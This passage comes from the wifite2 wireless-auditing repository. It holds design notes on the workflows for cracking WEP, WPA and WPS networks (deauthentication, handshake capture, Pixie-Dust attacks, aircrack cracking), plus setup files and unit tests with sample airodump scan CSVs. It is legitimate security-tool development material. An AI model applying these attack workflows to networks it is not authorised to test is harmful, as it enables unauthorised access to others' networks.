`pillage`, `5ghz`, '--no-wps', '--nodeauths') 72 | 2. Or narrow down the list of targets (e.g. filtering --wps --wep --channel) 73 | 3. Or set some flag required by certain hardware (packets per second) 74 | 75 | Any options that don't fall into the above buckets should be removed. 76 | 77 | -------------------------------- 78 | 79 | Currently there are way too many command-line options: 80 | 81 | * 8 options to configure a timeout in seconds (wpat, wpadt, pixiet, pixiest, wpst, wept, weprs, weprc) 82 | * I don't even know what these are or if they work anymore. 83 | * 5 options to configure Thresholds (WPS retry/fail/timeout, WEP pps/ivs) 84 | * And the WPS options are NOT consistent between Bully & Reaver. 85 | * "Num deauths" etc 86 | 87 | For most of these, We can just set a sane default value to avoid the `--help` Wall-of-Text. 88 | 89 | -------------------------------- 90 | 91 | The "Commands" (`cracked`, `crack`, `check`) should probably not start with `--`, e.g. `--crack` should be simply `crack` 92 | 93 | ------------------------------------------------------ 94 | 95 | ### Native Python Implementations 96 | 97 | Some dependencies of Wifite (aircrack suite, tshark, etc) could be replaced with native Python implementations. 98 | 99 | *Scapy* allows listening to and inspecting packets, writing pcap files, and other features. 100 | 101 | There's ways to change wireless channels, enumerate wireless devices, send Deauth packets, etc. all within Python. 102 | 103 | We could still utilize libraries when it's more trouble than it's worth to port to Python, like some of aircrack (chopchop, packetforge-ng). 104 | 105 | And some native Python implementations might be cross-platform, which would allow... 106 | 107 | ------------------------------------------------------ 108 | 109 | ### Non-Linux support (OSX & Windows) 110 | 111 | Some of Wifite's dependencies work on other OSes (airodump) but some don't (airmon). 112 | 113 | If it's possible to run these programs on Windows or OSX, Wifite should support that. 114 | 115 | ------------------------------------------------------ 116 | 117 | ### WPS Attacks 118 | 119 | Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used by bully? 120 | 121 | Ideally for Pixie-Dust, we'd have: 122 | 123 | 1. Switch to set bully/reaver timeout 124 | 2. Identical counters between bully/reaver (failures, timeouts, lockouts) 125 | * I don't think users should be able to set failure/timeout thresholds (no switches). 126 | 3. Identical statuses between bully/reaver. 127 | * Errors: "WPSFail", "Timeout", "NoAssoc", etc 128 | * Statuses: "Waiting for target", "Trying PIN", "Sending M2 message", "Running pixiewps", etc. 129 | * "Step X/Y" is nice, but not entirely accurate. 130 | * It's weird when we go from (6/8) to (5/8) without explanation. And the first 4 are usually not displayed. 131 | 3. Countdown timer until attack is aborted (e.g. 5min) 132 | 4. Countdown timer on "step timeout" (time since last status changed, e.g. 30s) 133 | 134 | Order of statuses: 135 | 1. Waiting for beacon 136 | 2. Associating with target 137 | 3. Trying PIN / EAPOL start / identity response / M1,M2 (M3,M4) 138 | 4. Running pixiewps 139 | 5. Cracked or Failed 140 | 141 | And as for PIN cracking.. um.. Not even sure this should be an option in Wifite TBH. 142 | PIN cracking takes days and most APs auto-lock after 3 attempts. 143 | Multi-day (possibly multi-month) attacks aren't a good fit for Wifite. 144 | Users with that kind of dedication can run bully/reaver themselves. 145 | 146 | ------------------------------------------------------ 147 | 148 | ### Directory structure 149 | 150 | **Note: This was mostly done in the great refactoring of Late March 2018** 151 | 152 | Too modular in some places, not modular enough in others. 153 | 154 | Not "/py": 155 | 156 | * **aircrack/** 157 | * `aircrack.py` <- process 158 | * `airmon.py` <- process 159 | * `airodump.py` <- process 160 | * `aireplay.py` <- process 161 | * **attack/** 162 | * `decloak.py` <- aireplay, airodump 163 | * `wps-pin.py` <- reaver, bully 164 | * `wps-pixie.py` <- reaver, bully 165 | * `wpa.py` (handshake only) <- aireplay, airodump 166 | * `wep.py` (relay, chopchop) <- aireplay, airodump 167 | * `config.py` 168 | * **crack/** 169 | * `crackwep.py` <- target, result, aireplay, aircrack 170 | * `crackwpa.py` <- target, handshake, result, aircrack 171 | * **handshake/** 172 | * `tshark.py` <- process 173 | * `cowpatty.py` <- process 174 | * `pyrit.py` <- process 175 | * `handshake.py` <- tshark, cowpatty, pyrit, aircrack 176 | * `output.py` (color/printing) <- config 177 | * `process.py` <- config 178 | * `scan.py` (airodump output to target) <- config, target, airodump 179 | * **target/** 180 | * `target.py` (ssid, pcap file) <- airodump, tshark 181 | * `result.py` (PIN/PSK/KEY) 182 | 183 | ------------------------------------------------------ 184 | 185 | ### Dependency injection 186 | 187 | * Initialize each dependency at startup or when first possible. 188 | * Pass dependencies to modules that require them. 189 | * Modules that call aircrack expect aircrack.py 190 | * Modules that print expect output.py 191 | * Unit test using mocked dependencies. 192 | 193 | ------------------------------------------------------ 194 | 195 | ### Dependencies 196 | 197 | **AIRMON** 198 | 199 | * Detect interfaces in monitor mode. 200 | * Check if config interface name is found. 201 | * Enable or Disable monitor mode on a device. 202 | 203 | **AIRODUMP** 204 | * Run as daemon (background thread) 205 | * Accept flags as input (--ivs, --wps, etc) 206 | * Construct a Target for all found APs 207 | * Each Target includes list of associated Clients 208 | * Can parse CSV to find lines with APs and lines with Clients 209 | * Option to read from 1) Stdout, or 2) a CapFile 210 | * Identify Target's attributes: ESSID, BSSID, AUTH 211 | * Identify cloaked Targets (ESSID=null) 212 | * Return filtered list of Targets based on AUTH, ESSID, BSSID 213 | * XXX: Reading STDOUT might not match what's in the Cap file... 214 | * XXX: But STDOUT gives us WPS and avoids WASH... 215 | 216 | **TARGET** 217 | * Constructed via passed-in CSV (airodump-ng --output-format=csv) 218 | * Needs info on the current AP (1 line) and ALL clients (n lines) 219 | * Keep track of BSSID, ESSID, Channel, AUTH, other attrs 220 | * Construct Clients of target 221 | * Start & return an Airodump Daemon (e.g. WEP needs --ivs flag) 222 | 223 | **AIREPLAY** 224 | * Fakeauth 225 | * (Daemon) Start fakeauth process 226 | * Detect fakeauth status 227 | * End fakeauth process 228 | * Deauth 229 | * Call aireplay-ng to deauth a Client BSSID+ESSID 230 | * Return status of deauth 231 | * Chopchop & Fragment 232 | 1. (Daemon) Start aireplay-ng --chopchop or --fragment on Target 233 | 2. LOOP 234 | 1. Detect chopchop/fragment status (.xor or EXCEPTION) 235 | 2. If .xor is created: 236 | * Call packetforge-ng to forge cap 237 | * Arpreplay on forged cap 238 | 3. If running time > threshold, EXCEPTION 239 | * Arpreplay 240 | 1. (Daemon) Start aireplay-ng to replay given capfile 241 | 2. Detect status of replay (# of packets) 242 | 3. If running time > threshold and/or packet velocity < threshold, EXCEPTION 243 | 244 | **AIRCRACK** 245 | * Start aircrack-ng for WEP: Needs pcap file with IVS 246 | * Start aircrack-ng for WPA: Needs pcap file containing Handshake 247 | * Check status of aircrack-ng (`percenage`, `keys-tried`) 248 | * Return cracked key 249 | 250 | **CONFIG** 251 | * Key/value stores: 1) defaults and 2) customer-defined 252 | * Reads from command-line arguments (+input validation) 253 | * Keys to filter scanned targets by some attribute 254 | * Filter by AUTH: --wep, --wpa 255 | * Filter by WPS: --wps 256 | * Filter by channel: --channel 257 | * Filter by bssid: --bssid 258 | * Filter by essid: --essid 259 | * Keys to specify attacks 260 | * WEP: arp-replay, chopchop, fragmentation, etc 261 | * WPA: Just handshake? 262 | * WPS: pin, pixie-dust 263 | * Keys to specify thresholds (running time, timeouts) 264 | * Key to specify the command to run: 265 | * SCAN (default), CRACK, INFO 266 | 267 | ------------------------------------------------------ 268 | 269 | ### Process Workflow 270 | 271 | **MAIN**: Starts everything 272 | 1. Parse command-line args, override defaults 273 | 2. Start appropriate COMMAND (SCAN, ATTACK, CRACK, INFO) 274 | 275 | **SCAN**: (Scan + Attack + Result) 276 | 1. Find interface, start monitor mode (airmon.py) 277 | 2. LOOP 278 | 1. Get list of filtered targets (airodump.py) 279 | * Option: Read from CSV every second or parse airodump STDOUT 280 | 2. Decloak SSIDs if possible (decloak.py) 281 | 3. Sort targets; Prefer WEP over WPS over WPA(1+ clients) over WPA(noclient) 282 | 4. Print targets to screen (ESSID, Channel, Power, WPS, # of clients) 283 | 5. Print decloaked ESSIDs (if any) 284 | 6. Wait 5 seconds, or until user interrupts 285 | 3. Prompt user to select target or range of targets 286 | 4. FOR EACH target: 287 | 1. ATTACK target based on CONFIG (WEP/WPA/WPS) 288 | 2. Print attack status (cracked or error) 289 | 3. WPA-only: Start cracking Handshake 290 | 4. If cracked, test credentials by connecting to the router (?). 291 | 292 | **ATTACK** (All types) 293 | Returns cracked target information or throws exception 294 | 295 | **ATTACK WEP** 296 | 0. Expects: Target 297 | 1. Start Airodump to capture IVS from the AP (airodump) 298 | 2. LOOP 299 | 1. (Daemon) Fakeauth with AP if needed (aireplay, config) 300 | 2. (Daemon?) Perform appropriate WEP attack (aireplay, packetforge) 301 | 3. If airodump IVS > threshold: 302 | 1. (Daemon) If Aircrack daemon is not running, start it. (aircrack) 303 | 2. If successful, add password to Target and return. 304 | 4. If aireplay/others and IVS has not changed in N seconds, restart attack. 305 | 5. If running time > threshold, EXCEPTION 306 | 307 | **ATTACK WPA**: Returns cracked Target or Handshake of Target 308 | 0. Expects: Target 309 | 1. Start Airodump to capture PCAP from the Target AP 310 | 2. LOOP 311 | 1. Get list of all associated Clients, add "*BROADCAST*" 312 | 2. (Daemon) Deauth a single client in list. 313 | 3. Print status (time remaining, clients, deauths sent) 314 | 4. Copy PCAP and check for Handshake 315 | 5. If handshake is found, save to ./hs/ and BREAK 316 | 6. If running time > threshold, EXCEPTION 317 | 3. (Daemon) If Config has a wordlist, try crack handshake (airodump) 318 | 1. If successful, add PSK to target and return 319 | 4. If not cracking or crack is unsuccessful, mark PSK as "Handshake" and return 320 | 321 | **ATTACK WPS** 322 | 0. Expects: Target 323 | 1. For each attack (PIN and/or Pixie-Dust based on CONFIG): 324 | 1. (Daemon) Start Reaver/Bully (PIN/Pixie-Dust) 325 | 2. LOOP 326 | 1. Print Pixie status 327 | 2. If Pixie is successful, add PSK+PIN to Target and return 328 | 3. If Pixie failures > threshold, EXCEPTION 329 | 4. If Pixie is locked out == CONFIG, EXCEPTION 330 | 5. If running time > threshold, EXCEPTION 331 | 332 | **CRACK WEP** 333 | 0. Expects: String pcap file containing IVS 334 | 2. FOR EACH Aircrack option: 335 | 1. (Daemon) Start Aircrack 336 | 2. LOOP 337 | 1. Print Aircrack status 338 | 2. If Aircrack is successful, print result 339 | 3. If unsuccessful, EXCEPTION 340 | 341 | **CRACK WPA** 342 | 0. Expects: String pcap file containing Handshake (optional: BSSID/ESSID) 343 | 1. Select Cracking option (Aircrack, Cowpatty, Pyrit) 344 | 2. (Daemon) Start attack 345 | 3. LOOP 346 | 1. Print attack status if possible 347 | 2. If successful, print result 348 | 3. If unsuccessful, EXCEPTION 349 | 350 | **INFO** 351 | * Print list of handshake files with ESSIDs, Dates, etc. 352 | * Show options to `--crack` handshakes (or execute those commands directly) 353 | * Print list of cracked Targets (including WEP/WPA/WPS key) 354 | 355 | ------------------------------------------------------ 356 | -------------------------------------------------------------------------------- /Wifite.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Note: This script runs Wifite from within a cloned git repo. 4 | # The script `bin/wifite` is designed to be run after installing (from /usr/sbin), not from the cwd. 5 | 6 | from wifite import __main__ 7 | __main__.entry_point() 8 | -------------------------------------------------------------------------------- /bin/wifite: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from wifite import __main__ 4 | __main__.entry_point() 5 | -------------------------------------------------------------------------------- /runtests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | python2.7 -m unittest discover tests -v 3 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [install] 2 | install-scripts=/usr/sbin 3 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | 3 | from wifite.config import Configuration 4 | 5 | setup( 6 | name='wifite', 7 | version=Configuration.version, 8 | author='derv82', 9 | author_email='derv82@gmail.com', 10 | url='https://github.com/derv82/wifite2', 11 | packages=[ 12 | 'wifite', 13 | 'wifite/attack', 14 | 'wifite/model', 15 | 'wifite/tools', 16 | 'wifite/util', 17 | ], 18 | data_files=[ 19 | ('share/dict', ['wordlist-top4800-probable.txt']) 20 | ], 21 | entry_points={ 22 | 'console_scripts': [ 23 | 'wifite = wifite.wifite:entry_point' 24 | ] 25 | }, 26 | license='GNU GPLv2', 27 | scripts=['bin/wifite'], 28 | description='Wireless Network Auditor for Linux', 29 | #long_description=open('README.md').read(), 30 | long_description='''Wireless Network Auditor for Linux. 31 | 32 | Cracks WEP, WPA, and WPS encrypted networks. 33 | 34 | Depends on Aircrack-ng Suite, Tshark (from Wireshark), and various other external tools.''', 35 | classifiers = [ 36 | "Programming Language :: Python :: 2.7", 37 | "Programming Language :: Python :: 3" 38 | ] 39 | ) 40 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/__init__.py -------------------------------------------------------------------------------- /tests/files/airmon.output: -------------------------------------------------------------------------------- 1 | No interfering processes found 2 | PHY Interface Driver Chipset 3 | 4 | phy2 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187 5 | (mac80211 monitor mode vif enabled for [phy2]wlan0 on [phy2]wlan0mon) 6 | (mac80211 station mode vif disabled for [phy2]wlan0) 7 | 8 | 9 | -------------------------------------------------------------------------------- /tests/files/airodump-weird-ssids.csv: -------------------------------------------------------------------------------- 1 | 2 | BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key 3 | AA:BB:CC:DD:EE:FF, 2018-04-06 18:21:23, 2018-04-06 18:21:24, 10, 54, WPA2, CCMP,PSK, -34, 5, 0, 0. 0. 0. 0, 24, Comma\, no trailing space, 4 | AA:BB:CC:DD:EE:FF, 2018-04-06 18:19:17, 2018-04-06 18:19:19, 10, 54, WPA2, CCMP,PSK, -35, 18, 0, 0. 0. 0. 0, 20, \"Quoted ESSID\, Comma\, no trailing spaces. \", 5 | AA:BB:CC:DD:EE:FF, 2018-04-06 18:35:29, 2018-04-06 18:35:30, 10, 54, WPA2, CCMP,PSK, -31, 12, 0, 0. 0. 0. 0, 22, "Comma\, Trailing space ", 6 | AA:BB:CC:DD:EE:FF, 2018-04-06 18:22:45, 2018-04-06 18:22:46, 10, 54, WPA2, CCMP,PSK, -29, 15, 0, 0. 0. 0. 0, 30, "\"quote\" comma\, trailing space ", 7 | AA:BB:CC:DD:EE:FF, 2018-04-06 18:50:11, 2018-04-06 18:50:17, 10, 54, WPA2, CCMP,PSK, -20, 43, 0, 0. 0. 0. 0, 19, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, 8 | 9 | 10 | 11 | 12 | Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs 13 | 14 | -------------------------------------------------------------------------------- /tests/files/airodump.csv: -------------------------------------------------------------------------------- 1 | 2 | BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key 3 | 78:24:AF:D5:29:98, 2015-05-30 11:28:44, 2015-05-30 11:28:44, 6, -1, WPA, , , -73, 0, 1, 0. 0. 0. 0, 0, , 4 | 00:13:10:33:A6:56, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA, TKIP,PSK, -71, 7, 0, 0. 0. 0. 0, 11, orangefloss, 5 | D8:50:E6:D7:22:95, 2015-05-30 11:28:43, 2015-05-30 11:28:43, -1, -1, , , , -70, 0, 0, 0. 0. 0. 0, 0, , 6 | F0:99:BF:0A:B5:B0, 2015-05-30 11:28:45, 2015-05-30 11:28:48, 6, 54, WPA2, CCMP,PSK, -70, 3, 0, 0. 0. 0. 0, 22, Ingham's Wi-Fi Network, 7 | 60:02:92:BC:08:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -68, 17, 0, 0. 0. 0. 0, 13, HOME-89B5-2.4, 8 | 00:25:BC:8B:24:95, 2015-05-30 11:28:44, 2015-05-30 11:28:44, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -68, 1, 0, 0. 0. 0. 0, 8, atlantis, 9 | 60:02:92:BC:08:02, 2015-05-30 11:28:44, 2015-05-30 11:28:49, 6, 54, OPN, , , -68, 5, 0, 0. 0. 0. 0, 11, xfinitywifi, 10 | 00:23:69:BA:6D:F0, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -67, 21, 0, 0. 0. 0. 0, 15, Pine Lake Girl2, 11 | 46:32:C8:5C:0E:3D, 2015-05-30 11:28:44, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -67, 6, 0, 0. 0. 0. 0, 12, \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00, 12 | 44:32:C8:5C:0E:3C, 2015-05-30 11:28:44, 2015-05-30 11:28:48, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -67, 5, 3, 0. 0. 0. 0, 9, HOME-0E3C, 13 | 60:02:92:BC:08:01, 2015-05-30 11:28:44, 2015-05-30 11:28:49, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -69, 14, 0, 0. 0. 0. 0, 0, , 14 | CC:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP TKIP,PSK, -67, 8, 0, 0. 0. 0. 0, 9, HOME-E5F2, 15 | C2:A4:62:E8:E5:F0, 2015-05-30 11:28:44, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -65, 13, 0, 0. 0. 0. 0, 0, , 16 | C6:A4:62:E8:E5:F0, 2015-05-30 11:28:45, 2015-05-30 11:28:50, 6, 54, OPN, , , -65, 14, 0, 0. 0. 0. 0, 11, xfinitywifi, 17 | F0:99:BF:05:20:64, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 30, 0, 0. 0. 0. 0, 4, JJML, 18 | F2:64:20:05:BF:90, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 23, 0, 0. 0. 0. 0, 9, JJMLGuest, 19 | 90:84:0D:DA:A8:87, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 33, 5, 0. 0. 0. 0, 10, Rolston123, 20 | 10:0D:7F:8C:C1:FB, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -62, 12, 0, 0. 0. 0. 0, 12, The Internet, 21 | 00:00:00:00:00:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WEP, WEP, , -57, 138, 0, 0. 0. 0. 0, 0, , 22 | 00:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP TKIP,PSK, -52, 32, 6, 0. 0. 0. 0, 9, HOME-1102, 23 | 00:24:7B:AB:5C:EE, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2 WPA, CCMP TKIP,PSK, -55, 16, 25, 0. 0. 0. 0, 11, myqwest0445, 24 | 02:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -53, 41, 0, 0. 0. 0. 0, 0, , 25 | 06:1D:D5:9B:11:00, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, OPN, , , -53, 56, 0, 0. 0. 0. 0, 11, xfinitywifi, 26 | 00:F7:6F:CD:B2:2A, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -48, 44, 0, 0. 0. 0. 0, 13, im human 2015, 27 | 30:85:A9:39:D2:18, 2015-05-30 11:28:43, 2015-05-30 11:28:50, 6, 54, WPA2, CCMP,PSK, -21, 44, 4, 0. 0. 0. 0, 32, Uncle Router's Gigabit LAN Party, 28 | 00:0E:58:FA:7C:61, 2015-05-30 11:28:44, 2015-05-30 11:28:49, 6, -1, WPA, , , -1, 0, 57, 0. 0. 0. 0, 0, , 29 | 00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:48, 6, -1, WPA, , , -1, 0, 59, 0. 0. 0. 0, 0, , 30 | 28:01:00:00:D0:00, 2015-05-30 11:28:44, 2015-05-30 11:28:44, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 31 | 00:0E:58:E9:36:B3, 2015-05-30 11:28:44, 2015-05-30 11:28:48, 6, -1, WPA, , , -1, 0, 2, 0. 0. 0. 0, 0, , 32 | 05:00:40:00:BB:7C, 2015-05-30 11:28:50, 2015-05-30 11:28:50, -1, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 33 | 34 | Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs 35 | 3A:01:44:32:C8:5C, 2015-05-30 11:28:44, 2015-05-30 11:28:44, -69, 3, 28:01:00:00:D0:00, 36 | 54:35:30:23:62:8E, 2015-05-30 11:28:43, 2015-05-30 11:28:50, -64, 7, 00:1D:D5:9B:11:00,HOME-1102 37 | 10:40:F3:93:13:FA, 2015-05-30 11:28:44, 2015-05-30 11:28:48, -52, 4, 00:F7:6F:CD:B2:2A, 38 | 00:0E:58:FA:7C:61, 2015-05-30 11:28:45, 2015-05-30 11:28:50, -50, 6, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66 39 | 00:0E:58:E9:36:B3, 2015-05-30 11:28:43, 2015-05-30 11:28:49, -51, 124, 00:0E:58:FA:7C:61,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66 40 | 00:0E:58:F8:0B:B5, 2015-05-30 11:28:44, 2015-05-30 11:28:50, -48, 9, 00:0E:58:E9:36:B3,Sonos_ynFI1HY4cF3gqPuljCuicmFZ66 41 | 5C:93:A2:0D:3D:63, 2015-05-30 11:28:44, 2015-05-30 11:28:50, -1, 22, 00:24:7B:AB:5C:EE, 42 | 43 | -------------------------------------------------------------------------------- /tests/files/contains_wps_network.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/files/contains_wps_network.cap -------------------------------------------------------------------------------- /tests/files/handshake_exists.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/files/handshake_exists.cap -------------------------------------------------------------------------------- /tests/files/handshake_exists.cap.stripped.tshark: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/files/handshake_exists.cap.stripped.tshark -------------------------------------------------------------------------------- /tests/files/handshake_has_1234.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/files/handshake_has_1234.cap -------------------------------------------------------------------------------- /tests/files/handshake_not_exists.cap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/files/handshake_not_exists.cap -------------------------------------------------------------------------------- /tests/files/wep-crackable.ivs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/files/wep-crackable.ivs -------------------------------------------------------------------------------- /tests/files/wep-uncrackable.ivs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/derv82/wifite2/e190794149f488f9c4a2801962e5165b29e71b5e/tests/files/wep-uncrackable.ivs -------------------------------------------------------------------------------- /tests/test_Airmon.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | sys.path.insert(0, '..') 6 | 7 | from wifite.tools.airmon import Airmon 8 | 9 | import unittest 10 | 11 | class TestAirmon(unittest.TestCase): 12 | def test_airmon_start(self): 13 | # From https://github.com/derv82/wifite2/issues/67 14 | stdout = ''' 15 | PHY Interface Driver Chipset 16 | 17 | phy0 wlan0 iwlwifi Intel Corporation Centrino Ultimate-N 6300 (rev 3e) 18 | 19 | (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) 20 | (mac80211 station mode vif disabled for [phy0]wlan0) 21 | ''' 22 | mon_iface = Airmon._parse_airmon_start(stdout) 23 | assert mon_iface == 'wlan0mon', 'Expected monitor-mode interface to be "wlan0mon" but got "{}"'.format(mon_iface) 24 | 25 | -------------------------------------------------------------------------------- /tests/test_Airodump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | sys.path.insert(0, '..') 6 | 7 | from wifite.tools.airodump import Airodump 8 | 9 | import unittest 10 | 11 | class TestAirodump(unittest.TestCase): 12 | ''' Test suite for Wifite's interaction with the Airodump tool ''' 13 | 14 | 15 | def test_airodump_weird_characters(self): 16 | csv_filename = self.getFile('airodump-weird-ssids.csv') 17 | targets = Airodump.get_targets_from_csv(csv_filename) 18 | 19 | target = targets[0] 20 | expected = 'Comma, no trailing space' 21 | assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) 22 | 23 | target = targets[1] 24 | expected = '"Quoted ESSID, Comma, no trailing spaces. "' 25 | assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) 26 | 27 | target = targets[2] 28 | expected = 'Comma, Trailing space ' 29 | assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) 30 | 31 | target = targets[3] 32 | expected = '"quote" comma, trailing space ' 33 | assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) 34 | 35 | # Hidden access point 36 | target = targets[4] 37 | assert target.essid_known == False, 'ESSID full of null characters should not be known' 38 | expected = None 39 | assert target.essid == expected, 'Expected ESSID (%s) but got (%s)' % (expected, target.essid) 40 | assert target.essid_len == 19, 'ESSID length shold be 19, but got %s' % target.essid_len 41 | 42 | 43 | def getFile(self, filename): 44 | ''' Helper method to parse targets from filename ''' 45 | import os, inspect 46 | this_file = os.path.abspath(inspect.getsourcefile(self.getFile)) 47 | this_dir = os.path.dirname(this_file) 48 | return os.path.join(this_dir, 'files', filename) 49 | 50 | 51 | if __name__ == '__main__': 52 | unittest.main() 53 | -------------------------------------------------------------------------------- /tests/test_Handshake.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | sys.path.insert(0, '..') 6 | 7 | from wifite.model.handshake import Handshake 8 | from wifite.util.process import Process 9 | 10 | import unittest 11 | 12 | class TestHandshake(unittest.TestCase): 13 | ''' Test suite for Target parsing an generation ''' 14 | 15 | def getFile(self, filename): 16 | ''' Helper method to parse targets from filename ''' 17 | import os, inspect 18 | this_file = os.path.abspath(inspect.getsourcefile(self.getFile)) 19 | this_dir = os.path.dirname(this_file) 20 | return os.path.join(this_dir, 'files', filename) 21 | 22 | def testAnalyze(self): 23 | hs_file = self.getFile('handshake_exists.cap') 24 | hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') 25 | try: 26 | hs.analyze() 27 | except Exception: 28 | fail() 29 | 30 | @unittest.skipUnless(Process.exists('tshark'), 'tshark is missing') 31 | def testHandshakeTshark(self): 32 | hs_file = self.getFile('handshake_exists.cap') 33 | hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') 34 | assert(len(hs.tshark_handshakes()) > 0) 35 | 36 | @unittest.skipUnless(Process.exists('pyrit'), 'pyrit is missing') 37 | def testHandshakePyrit(self): 38 | hs_file = self.getFile('handshake_exists.cap') 39 | hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') 40 | assert(len(hs.pyrit_handshakes()) > 0) 41 | 42 | @unittest.skipUnless(Process.exists('cowpatty'), 'cowpatty is missing') 43 | def testHandshakeCowpatty(self): 44 | hs_file = self.getFile('handshake_exists.cap') 45 | hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') 46 | hs.divine_bssid_and_essid() 47 | assert(len(hs.cowpatty_handshakes()) > 0) 48 | 49 | @unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing') 50 | def testHandshakeAircrack(self): 51 | hs_file = self.getFile('handshake_exists.cap') 52 | hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A') 53 | assert(len(hs.aircrack_handshakes()) > 0) 54 | 55 | 56 | if __name__ == '__main__': 57 | unittest.main() 58 | 59 | -------------------------------------------------------------------------------- /tests/test_Target.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from wifite.tools.airodump import Airodump 5 | 6 | import unittest 7 | 8 | class TestTarget(unittest.TestCase): 9 | ''' Test suite for Target parsing an generation ''' 10 | 11 | airodump_csv = 'airodump.csv' 12 | 13 | def getTargets(self, filename): 14 | ''' Helper method to parse targets from filename ''' 15 | import os, inspect 16 | this_file = os.path.abspath(inspect.getsourcefile(TestTarget.getTargets)) 17 | this_dir = os.path.dirname(this_file) 18 | csv_file = os.path.join(this_dir, 'files', filename) 19 | # Load targets from CSV file 20 | return Airodump.get_targets_from_csv(csv_file) 21 | 22 | def testTargetParsing(self): 23 | ''' Asserts target parsing finds targets ''' 24 | targets = self.getTargets(TestTarget.airodump_csv) 25 | assert(len(targets) > 0) 26 | 27 | def testTargetClients(self): 28 | ''' Asserts target parsing captures clients properly ''' 29 | targets = self.getTargets(TestTarget.airodump_csv) 30 | for t in targets: 31 | if t.bssid == '00:1D:D5:9B:11:00': 32 | assert(len(t.clients) > 0) 33 | 34 | if __name__ == '__main__': 35 | unittest.main() 36 | -------------------------------------------------------------------------------- 